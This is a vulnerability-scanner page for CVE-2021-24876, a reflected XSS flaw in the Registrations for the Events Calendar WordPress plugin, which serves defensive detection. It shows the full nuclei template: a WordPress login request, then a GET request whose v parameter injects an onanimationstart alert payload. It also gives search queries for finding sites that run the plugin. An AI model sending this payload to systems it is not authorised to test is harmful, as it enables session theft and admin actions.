Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting

Impact

Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.

Fix

Fixed in 2.7.5

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)//
Positive when: contains_all(body,"style=animation-name:rotation onanimationstart=alert(document.domain)//", "<input type=\"hidden\" name=\"v\"","registrations-for-the-events-calendar") and contains(content_type, "t…

Run it with nuclei: nuclei -id CVE-2021-24876 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24876

info:
  name: Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting
  author: popcorn94
  severity: medium
  description: |
    The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
  remediation: Fixed in 2.7.5
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24876
    - https://wpscan.com/vulnerability/e77c2493-993d-418d-9629-a1f07b5a2b6f/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24876
    cwe-id: CWE-79
    epss-score: 0.01438
    epss-percentile: 0.73368
    cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: roundupwp
    product: registrations_for_the_events_calendar
    framework: wordpress
    fofa-query: body="/wp-content/plugins/registrations-for-the-events-calendar/"
    publicwww-query: "/wp-content/plugins/registrations-for-the-events-calendar/"
  tags: cve,cve2021,wordpress,wpscan,wp-plugin,wp,registrations-for-the-events-calendar,xss,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"style=animation-name:rotation onanimationstart=alert(document.domain)//", "<input type=\"hidden\" name=\"v\"","registrations-for-the-events-calendar")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from